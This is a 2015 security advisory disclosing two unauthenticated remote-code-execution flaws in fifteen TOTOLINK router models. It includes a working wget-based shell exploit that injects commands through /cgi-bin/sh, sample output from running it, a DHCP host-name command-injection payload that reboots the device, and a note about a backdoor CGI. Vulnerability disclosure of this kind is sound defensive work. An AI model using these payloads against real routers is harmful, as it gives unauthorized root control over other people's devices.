## Advisory Information Title: 15 TOTOLINK router models vulnerable to multiple RCEs Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x00.txt Blog URL: https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html Date published: 2015-07-16 Vendors contacted: None Release mode: 0days, Released CVE: no current CVE ## Product Description TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea. TOTOLINK produces routers routers, wifi access points and network devices. Their products are sold worldwide. ## Vulnerabilities Summary The first vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single HTTP request. The second vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request. There are direct RCEs against the routers which give a complete root access to the embedded Linux from the LAN side. The two RCEs affect 13 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration: - TOTOLINK A1004 : until last firmware (9.34 - za1004_en_9_34.bin) - TOTOLINK A5004NS : until last firmware (9.38 - za5004s_en_9_38.bin) - TOTOLINK EX300 : until last firmware (8.68 - TOTOLINK EX300_8_68.bin - totolink.net) - TOTOLINK EX300 : until last firmware (9.36 - ex300_ch_9_36.bin.5357c0 - totolink.cn) - TOTOLINK N150RB : until last firmware (9.08 - zn150rb_en_9_08.bin.5357c0) - TOTOLINK N300RB : until last firmware (9.26 - zn300rb_en_9_26.bin) - TOTOLINK N300RG : until last firmware (8.70 - TOTOLINK N300RG_8_70.bin) - TOTOLINK N500RDG : until last firmware (8.42 - TOTOLINK N500RDG_en_8_42.bin) - TOTOLINK N600RD : until last firmware (8.64 - TOTOLINK N600RD_en_8_64.bin) - TOTOLINK N302R Plus V1 : until the last firmware 8.82 (TOTOLINK N302R Plus V1_en_8_82.bin) - TOTOLINK N302R Plus V2 : until the last firmware 9.08 (TOTOLINK N302R Plus V2_en_9_08.bin) - TOTOLINK A3004NS (no firmware available in totolinkusa.com but ipTIME's A3004NS model was vulnerable to the 2 RCEs) - TOTOLINK EX150 : until the last firmware (8.82 - ex150_ch_8_82.bin.5357c0) The DHCP RCE also affects 2 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration: - TOTOLINK A2004NS : until last firmware (9.60 - za2004s_en_9_60.bin) - TOTOLINK EX750 : until last firmware (9.60 - ex750_en_9_60.bin) Firmwares come from totolink.net and from totolink.cn. - - From my tests, it is possible to use these vulnerabilities to overwrite the firmware with a custom (backdoored) firmware. Concerning the high CVSS score (10/10) of the vulnerabilities and the longevity of this vulnerability (6+ year old), the TOTOLINK users are urged to contact TOTOLINK. ## Details - RCE with a single HTTP request The HTTP server allows the attacker to execute some CGI files. Many of them are vulnerable to a command inclusion which allows to execute commands with the http daemon user rights (root). Exploit code: $ cat totolink.carnage #!/bin/sh if [ ! $1 ]; then echo "Usage:" echo $0 ip command exit 1 fi wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh The exploits have been written in HTML/JavaScript, in form of CSRF attacks, allowing people to test their systems in live using their browsers: http://pierrekim.github.io/advisories/ o Listing of the filesystem HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-listing.of.the.filesystem.html Using CLI: root@kali:~/totolink# ./totolink.carnage 192.168.1.1 ls | head ash auth busybox cat chmod cp d.cgi date echo false root@kali:~/totolink# o How to retrieve the credentials ?

By the way, d.cgi in /bin/ is an intentional backdoor. ## Details - RCE with a single DHCP request This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in TOTOLINK devices allows remote attackers to execute arbitrary commands via shell metacharacters in the host-name field. Sending a DHCP request with this parameter will reboot the device: cat /etc/dhcp/dhclient.conf send host-name ";/sbin/reboot"; When connecting to the UART port (<code>screen /dev/ttyUSB0 38400</code>), we will see the stdout of the /dev/console device; the dhcp request will immediately force the reboot of the remote device: Booting... @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize @ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h @ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName @ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16 @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ [...] WiFi Simple Config v1.12 (2009.07.31-11:35+0000).
